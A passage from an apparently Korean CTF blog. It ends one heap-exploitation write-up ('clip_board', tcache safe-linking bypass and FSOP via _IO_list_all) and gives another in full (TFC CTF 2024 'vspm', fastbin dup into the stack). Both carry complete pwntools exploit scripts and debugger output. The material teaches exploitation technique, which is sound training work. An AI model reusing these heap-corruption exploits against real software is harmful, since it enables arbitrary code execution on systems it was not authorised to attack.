        check_chunk_list_4090[index] = 0;
        size = chunk_size_list_40A0;
        chunk_size_list_40A0[index] = 0;
      }
  ...
}

AddClipboard()에서 1로 설정된 check_chunk_list[index]의 값을 0으로 돌려준다.

check_chunk_list 위에는 malloc()으로 할당받은 heap 영역의 주소들이 쓰여있다. 만약 malloc(), free()를 하는 순서가 같으면 offset도 동일할 것이므로, 할당받은 주소를 leak하지 않더라도 예측할 수 있다.

따라서 malloc이 0xXXXXXXXXXX10 주소를 반환하게끔 heap을 정렬시켜두고, 0xXXXXXXXXXX00 주소에 fake chunk header를 만들어준 다음, 주소의 마지막 바이트인 0x10을 0x00으로 만들어주면 fake chunk를 free()시킬 수 있다.

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)

    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

위와 같이 payload를 작성하고 코드를 실행하고 tcache에서 사이즈 0x30, 0x100 bin을 확인해보면 다음과 같다.

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x555555559470, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=14, size=0x100, count=1] ←  Chunk(addr=0x555555559400, size=0x100, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

이렇게 0x555555559400 영역이 0x555555559440, 0x555555559470 영역과 겹치게 되기 때문에 0xf0짜리 chunk를 요청하면 0x555555559440의 fd를 overwrite할 수 있다.

Safe Linking Bypass

그런데 이 때 0x555555559440과 0x555555559470의 fd를 확인해보면 단순히 다음 chunk의 주소를 저장하지 않는데, 이는 tcache의 safe linking 때문이다.

gef➤  x/6gx 0x555555559440 - 0x10
0x555555559430: 0x0000000000000000      0x0000000000000031
0x555555559440: 0x000055500000c129      0x62cde40f9bbc5877
0x555555559450: 0x4646464646464646      0x4646464646464646
gef➤  x/6gx 0x555555559470 - 0x10
0x555555559460: 0x0000000000000000      0x0000000000000031
0x555555559470: 0x0000000555555559      0x62cde40f9bbc5877
0x555555559480: 0x4747474747474747      0x4747474747474747

공부한김에 간략하게 정리하자면 glibc 2.32버전부터 free된 chunk는 다음과 같은 구조를 가지게 된다.

struct tcache_entry {
    struct tcache_entry *next;
    /* This field exists to detect double frees.  */
    struct tcache_perthread_struct *key;
};

위 메모리에서 0x62cde40f9bbc5877로 출력된 것이 key인데, 다음과 같은 로직을 통해 double free를 방지한다.

free(ptr)을 했을 때,
ptr->key에 제대로 된 key값이 있는지 검증
- 없다면 abort
제대로 된 key 값이 있다면, ptr의 size에 맞는 tcache bin을 순회
- ptr이 bin에 있다면 abort

문제는 next인데, glibc 버전에 따라 다르겠지만 2.35의 경우 포인터 마스킹 또는 포인터 암호화 기법이 적용되어서 다음 연산을 하고 저장한다.

// Encryption
entry->next = (tcache_entry *) ((uintptr_t) next ^ (uintptr_t) tcache);

// Decryption
tcache_entry *next = (tcache_entry *) ((uintptr_t) e->next ^ (uintptr_t) tcache);

여기에서 tcache 값은 tcache_perthread_struct의 주소라고 하는데… 실제 메모리와 다른 것 같아서 2.35 glibc 소스코드를 elixir에서 찾아보았는데 뭔가 안맞는 것 같아 확인이 필요하다.

아무튼 실제 xor 연산이 되는 tcache 값은 heap base 주소를 12bit right shift한 0x555555559으로, next가 null이어야 하는 0x555555559470 chunk를 보면 알 수 있다. 따라서 _IO_list_all의 주소인 0x7ffff7fa5680에 0x555555559를 xor한 결과를 0x555555559440 chunk의 next 위치에 쓰면 다음과 같이 tcache bin이 구성된다.

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x7ffff7fa5680, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  [Corrupted chunk at 0x7ffff7fa5680]

_IO_list_all의 주소 0x7ffff7fa5680 8바이트 앞에 위치한 0이 size로 인식되어 corrupted chunk로 출력되지만 다행히 malloc() 시 size 검증을 하지 않아 0x7ffff7fa5680를 반환받는데에 성공했다.

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))

이렇게 payload를 실행하면 목적했던 _IO_list_all에 생성한 new_fd의 주소가 담기게 된다.

gef➤  x/gx 0x7ffff7fa5680
0x7ffff7fa5680 <_IO_list_all>:  0x0000555555559770

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "clip_board"
LIBRARY = "libc.so.6"
CONTAINER = "69049f0398fe"
code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x16FD
}

gs = f'''
gef config gef.bruteforce_main_arena True
b *0x7ffff7e1e8e0
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def add_clipboard(s, index, size, contents, fin=0):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    s.recvuntil(b"> ")
    s.sendline(str(size).encode())
    s.recvuntil(b"> ")
    s.send(contents)
    if fin:
        return
    else:
        return s.recvuntil(b"\n> ")

def del_clipboard(s, index):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def view_clipboard(s, index):
    s.sendline(b"3")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def exit_clipboard(s):
    s.sendline(b"4")
    return

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    heap = int(s.recvuntil(b"> ").split(b'\n')[0].split(b': ')[1], 16) & 0xfffffffffffff000
    log.info(f"heap : {hex(heap)}")
    
    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)
    
    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))
    
    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

    log.info(f"&stdout : 0x555555558020")
    log.info(f"IO_list_all : {hex(io_list_all)}")
    log.info(f"IO_list_all -> 0x7ffff7fab6a0")
    log.info(f"original_stdout : 0x7ffff7fab780")
    log.info(f"wide_data : {hex(wide_data)}")
    log.info(f"io_wfile_jumps : {hex(io_wfile_jumps)}")
    log.info(f"anywhere_rw : {hex(anywhere_rw)}")
    log.info(f"wide_vtable : {hex(wide_vtable)}")
    log.info(f"one_gadget : {hex(one_gadget)}")

    # trigger _IO_flush_all_lockp
    exit_clipboard(s)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)

TFC CTF 2024 - vspm

2024-08-21T00:00:00+00:00

0x00. Introduction

[*] '/home/user/vspm'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'

Structure

struct password {
    char *credential;
    char name[0x20];
}

위와 같이 구성된 구조체를 최대 code_base + 0x4060 영역에 10개까지 저장할 수 있다.

0x01. Vulnerability

unsigned __int64 save_12EE()
{
  ...
  __isoc99_scanf("%d", &len);
  getchar();
  if ( len >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  ...
  password_4060[i].credential = malloc(len);
  printf("Enter credentials: ");
  read(0, password_4060[i].credential, (len + 1));
  printf("Name of the credentials: ");
  read(0, password_4060[i].name, (len + 1));
  ...
}

password를 저장하는 save()에서 credential의 사이즈 len을 입력받고, len + 1만큼 read를 한다. 그런데 고정된 길이(0x20)의 name도 len + 1만큼 read를 하기 때문에 다음 password 구조체의 credential을 overwrite할 수 있다.

credential에서도 len + 1만큼 값을 쓸 수 있기 때문에 다음 chunk의 header 첫 바이트를 overwrite할 수는 있지만 prev_size를 바꿔서 exploit으로 이어갈 아이디어가 떠오르지 않았다.

0x02. Exploit

Exploit을 진행하기에 앞서 보호기법을 확인해보면 code, stack, libc 모든 영역이 변동되는 상태이다. 따라서 현재 가지고 있는 credential overwrite 취약점을 가지고 최소 한 영역의 memory leak을 해야겠다는 생각이 들었다.

Libc Leak

Heap에서 활용할 수 있는 memory leak 테크닉 중 unsorted bin을 이용한 main_arena leak이 많이 사용된다. main_arena는 libc 영역이기 때문에 offset 계산만 해주면 libc base를 획득할 수 있다.

문제는 크기가 0x80 이상인 chunk를 free시켜야 unsorted bin에 추가되는데 입력할 수 있는 len은 0x79가 최대이다. Heap의 chunk들이 차례대로 쌓이고, 주소에서 0xXXXXXXXXXXXXX000 부분만 변동되므로 fake chunk를 구성하고 credential overwrite 취약점을 이용하여 다음 password 구조체의 credential이 fake chunk를 가리키게 할 수 있다.

    payload = p64(0)                                # fake chunk -> prev_size
    payload += p64(0x111)                           # fake chunk -> size
    save(s, 0x30, payload, b"0000")
    save(s, 0x30, b"BBBB", b"1111")
    save(s, 0x30, b"CCCC", b"2222")
    save(s, 0x40, b"DDDD", b"3333")
    save(s, 0x30, payload, b"4444")
    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")

먼저 0000, 4444, top chunk의 offset 차이를 고려해서 chunk들을 배치한다.

처음에는 0000, 4444의 offset 차이만 고려하면 되는 줄 알았는데, top chunk와도 offset 차이가 맞아야 fake chunk의 free가 성공한다.

# first password structure
gef➤  x/5gx 0x555555558060
0x555555558060: 0x000055555555d010      0x0000000030303030
0x555555558070: 0x0000000000000000      0x0000000000000000
0x555555558080: 0x0000000000000000
# first fake chunk header
gef➤  x/2gx 0x000055555555d010
0x55555555d010: 0x0000000000000000      0x0000000000000111
# second fake chunk header
gef➤  x/2gx 0x000055555555d010 + 0x110
0x55555555d120: 0x0000000000000000      0x0000000000000111
# top chunk
gef➤  x/2gx 0x000055555555d010 + 0x220
0x55555555d230: 0x0000000000000000      0x0000000000020dd1

이제 2222의 credential이 fake chunk를 가리키게 만들기 위해 다음과 같이 payload를 작성했다.

    delete(s, b"1")                                 # free "1111"
    save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20")   # alloc "1111" and overwrite next pointer
    delete(s, b"2")                                 # free fake chunk -> unsorted bin

1111을 이용해서 2222의 credential이 0x55555555d020을 가리키게 만들면 0x55555555d010에 넣은 값이 chunk header가 된다. 이제 2222를 free하면 0x100짜리 chunk를 free한 것으로 되어 unsorted bin으로 이동한다.

────────────────────────── Unsorted Bin for arena at 0x7ffff7dd0b60 ──────────────────────────
[+] unsorted_bins[0]: fw=0x55555555d010, bk=0x55555555d010
 →   Chunk(addr=0x55555555d020, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
gef➤  x/4gx 0x55555555d010
0x55555555d010: 0x0000000000000000      0x0000000000000111
0x55555555d020: 0x00007ffff7dd0bc0      0x00007ffff7dd0bc0

이 과정에서 free된 chunk의 fd, bk에 main_arena 주소가 쓰여진다. 이후 malloc으로 해당 영역을 반환받아도 메모리를 초기화하지 않기 때문에 check()를 통해 leak이 가능하다.

다행히 0x100보다 작은 chunk를 요청해도 unsorted bin을 분할해서 할당해주기 때문에 대충 0x30짜리 chunk를 요청했다.

    save(s, 0x30, b"\xc0", b"2222")                 # alloc from unsorted bin
    r = check(s)
    arena = 0x3b4cc0
    libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
    log.info(f"libc : {hex(libc)}")

이 때 입력한 \xc0은 디버거로 확인한 main_arena의 첫 바이트인데 어차피 offset을 계산하면 되기 때문에 맞춰줄 필요는 없지만 입력을 아예 주지 않을 수는 없기 때문에 맞춰주었다.

Stack Leak

Libc leak을 성공했으니 credential overwrite와 check()를 이용하여 libc의 모든 영역을 출력할 수 있다. Libc 영역 중 environ 변수에 stack 주소가 저장되어있으므로 이를 이용해 stack leak을 진행하였다.

    delete(s, b"0")
    environ = 0x3b75d8
    payload = b"0" * 0x20
    payload += p64(libc + environ)
    save(s, 0x30, b"AAAA", payload)

먼저 0000을 free하고 1111의 credential이 environ을 가리키도록 overwrite한다.

    r = check(s)
    stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
    log.info(f"stack : {hex(stack)}")

1111이 environ을 가리키고 있고 check()에서 credential 정보를 출력해주는 것을 이용해서 environ에 저장된 stack 주소를 획득할 수 있다.

Fastbin Dup into Stack

앞서 credential overwrite 취약점을 이용해서 credential이 fake chunk를 가리키게 한 것과 비슷하게 다른 credential을 가리키게 해서 double free 취약점을 트리거할 수 있다.

    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, b"HHHH", b"7777")

먼저 위 payload를 실행하면 password 구조체는 다음과 같은 값을 가지게 된다.

gef➤
0x555555558128: 0x000055555555d1d0      0x0000000035353535
0x555555558138: 0x0000000000000000      0x0000000000000000
0x555555558148: 0x0000000000000000
gef➤
0x555555558150: 0x000055555555d160      0x0000000036363636
0x555555558160: 0x0000000000000000      0x0000000000000000
0x555555558170: 0x0000000000000000
gef➤
0x555555558178: 0x000055555555d240      0x0000000037373737
0x555555558188: 0x0000000000000000      0x0000000000000000
0x555555558198: 0x0000000000000000

Double free 취약점을 트리거하기 위해 7777의 0x55555555d240을 5555의 0x55555555d1d0으로 덮어야한다.

여기에서 credential의 사이즈가 0x60인 이유는 후술하도록 하고, 0x60짜리 chunk를 3개 할당받다보니 chunk 주소의 두 번째 바이트가 달라진다. 0xd1d0 중 0x1d0은 고정이고 0xd000부분만 변동될 것이므로 여기에서 1/16 확률로 exploit에 성공한다.

Fastbin을 어떻게 잘 조작하거나 heap leak을 하면 가능할 것 같긴 한데 확률이 그리 낮지 않아서 그냥 진행하기로 했다.

    delete(s, b"6")
    save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
    
    delete(s, b"5")
    delete(s, b"6")
    delete(s, b"7")

위 payload와 같이 7777의 credential을 5555의 credential과 일치시키고 5555, 6666, 7777순으로 free를 하게 되면 다음과 같이 fastbin이 구성된다.

0x55555555d1d0 -> 0x55555555d160 -> 0x55555555d1d0

이제 malloc을 통해 0x60 사이즈의 chunk를 요청하면 0x55555555d1d0을 할당받을 수 있고, 여기에 stack의 주소를 쓴 뒤 해당 주소 위에 fake chunk header를 쓸 수 있다면 fastbin list에 추가된다.

따라서 거꾸로 fake chunk header를 구성할 수 있는 stack의 위치를 찾아보았는데, 처음에는 save()의 stack을 활용하려고 했다.

unsigned __int64 save_12EE()
{
  unsigned int len; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  ...
}

len, i를 이용하여 fake chunk header를 구성하면 return address까지 0x70만큼 차이가 나므로 최대 할당 크기인 0x78보다 작아 가능할 것 같았다.

그런데 문제는 0x70 크기의 chunk를 할당받으려면 len에 0x70을 입력해야 하는데, fake chunk header를 구성할 때는 len에 0x80을 입력해야 size가 맞기 때문에 모순이 생긴다.

그래서 다른 영역을 찾아야했는데 return을 해서 종료하는 함수가 없어서 고민하다가, save()에서 영역을 할당받고 read를 할 때 read()의 return address를 덮으면 가능할 것 같았다.

unsigned __int64 save_12EE()
{
  ...
  password_4060[i].credential = malloc(len);
  printf("Enter credentials: ");
  read(0, password_4060[i].credential, (len + 1));
  ...
}

문제는 다시 fake chunk header인데, read()의 return address를 덮을 수 있는 영역을 malloc() 직전에 확인해보면 다음과 같다.

gef➤  x/16gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdbe0: 0x00007fffffffdce0      0x00007ffff7a6dd8e
0x7fffffffdbf0: 0x00007ffff7ff4000      0x0000003000000008
0x7fffffffdc00: 0x00007fffffffdcd0      0x00007fffffffdc10
0x7fffffffdc10: 0x000000000000000a      0x00007fffffffdcd4
0x7fffffffdc20: 0x0000000000000000      0x00007ffff7b030c3
0x7fffffffdc30: 0x0000000000000000      0x00007fffffffdcc0
0x7fffffffdc40: 0x00005555555551a0      0x0000555555555397

0x7fffffffdbf8에 0x60이 저장되어있지만 이 값은 malloc()에 인자로 전달된 값이 내부 로직을 실행하다가 저장된 값으로 이전의 모순이 똑같이 발생한다.

여기에서 트릭이 하나 있는데, chunk header는 굳이 alignment가 맞지 않아도 되기 때문에 stack 주소의 가장 상위 바이트가 0x7f인 점을 생각해서 메모리를 다시 출력해보았다.

gef➤  x/16gx 0x7fffffffdbd5
0x7fffffffdbd5: 0x0000000000000000      0xffffffdce0000000
0x7fffffffdbe5: 0xfff7a6dd8e00007f      0xfff7ff400000007f
0x7fffffffdbf5: 0x300000000800007f      0xffffffdcd0000000
0x7fffffffdc05: 0xffffffdc1000007f      0x000000000a00007f
0x7fffffffdc15: 0xffffffdcd4000000      0x000000000000007f
0x7fffffffdc25: 0xfff7b030c3000000      0x000000000000007f
0x7fffffffdc35: 0xffffffdcc0000000      0x55555551a000007f
0x7fffffffdc45: 0x5555555397000055      0x555555618f000055

이렇게 fake chunk header로 활용할 수 있는 영역이 0x7fffffffdc15와 0x7fffffffdc25 두 군데가 있는데, fd를 0x7fffffffdc15로 설정할 경우는 malloc()에 실패하고, 0x7fffffffdc25로 설정할 경우는 malloc()에 성공한다.

예상되는 이유는 해당 영역이 현재 함수의 stack 바로 위 영역이라서 malloc()의 stack 영역과 겹치게 되고, malloc() 내부적으로 stack을 사용하다가 0x7fffffffdc15에 저장된 값이 overwrite되는 것으로 추정된다.

어쨌거나 0x7fffffffdc25를 fd로 설정하기 위해 획득한 stack 주소와의 offset을 계산해서 0x55555555d1d0을 할당받은 후 입력해주면 fastbin은 다음과 같이 구성된다.

0x55555555d160 -> 0x55555555d1d0 -> 0x7fffffffdc35

따라서 이후 3번째 malloc()에서 stack의 주소가 반환되고, offset을 계산해서 read()의 return address를 one shot 가젯으로 덮어주면 된다.

    payload = p64(stack - 0xa3)
    save(s, 0x60, payload, b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, payload, b"7777")
    
    delete(s, b"0")
    one_gadget = 0xe1fa1
    payload = b"A" * 0x13
    payload += p64(libc + one_gadget)
    save(s, 0x68, payload, b"0000", fin = 1)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "vspm"
code_base = 0x0000555555554000
bp = {
    'save' : code_base + 0x12EE,
    'malloc_of_save' : code_base + 0x1414,
    'check' : code_base + 0x14ED,
    'cred' : code_base + 0x4060,
}

gs = f'''
continue
b *{bp['malloc_of_save']}
'''
context.terminal = ['tmux', 'splitw', '-hf']

def save(s, length, cred, name, fin = 0):
    s.sendline(b"1")
    s.recvuntil(b"length: ")
    s.sendline(str(length).encode())
    s.recvuntil(b"credentials: ")
    s.send(cred)
    if fin:
        return
    s.recvuntil(b"credentials: ")
    s.send(name)
    return s.recvuntil(b"Input: ")

def check(s):
    s.sendline(b"2")
    return s.recvuntil(b"Input: ")

def delete(s, index):
    s.sendline(b"3")
    s.recvuntil(b"index: ")
    s.sendline(index)
    return s.recv()

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
    else:
        s = process(BINARY)
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    log.info(f"cred : {hex(bp['cred'])}")
    s.recv()

    payload = p64(0)                                # fake chunk -> prev_size
    payload += p64(0x111)                           # fake chunk -> size
    save(s, 0x30, payload, b"0000")
    save(s, 0x30, b"BBBB", b"1111")
    save(s, 0x30, b"CCCC", b"2222")
    save(s, 0x40, b"DDDD", b"3333")
    save(s, 0x30, payload, b"4444")
    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")

    # libc leak
    delete(s, b"1")                                 # free "1111"
    save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20")   # alloc "1111" and overwrite next pointer
    delete(s, b"2")                                 # free fake chunk -> unsorted bin
    save(s, 0x30, b"\xc0", b"2222")                 # alloc from unsorted bin
    
    r = check(s)
    arena = 0x3b4cc0
    libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
    log.info(f"libc : {hex(libc)}")
    
    # flush unsorted bin
    save(s, 0x60, b"HHHH", b"7777")
    save(s, 0x50, b"IIII", b"8888")
    delete(s, b"7")
    delete(s, b"8")

    # stack leak
    delete(s, b"0")
    environ = 0x3b75d8
    payload = b"0" * 0x20
    payload += p64(libc + environ)
    save(s, 0x30, b"AAAA", payload)

    r = check(s)
    stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
    log.info(f"stack : {hex(stack)}")

    # fastbin dup
    delete(s, b"5")
    delete(s, b"6")

    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, b"HHHH", b"7777")
    pause()

    delete(s, b"6")
    save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
    
    delete(s, b"5")
    delete(s, b"6")
    delete(s, b"7")
    
    payload = p64(stack - 0xa3)
    save(s, 0x60, payload, b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, payload, b"7777")
    
    delete(s, b"0")
    one_gadget = 0xe1fa1
    payload = b"A" * 0x13
    payload += p64(libc + one_gadget)
    save(s, 0x68, payload, b"0000", fin = 1)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)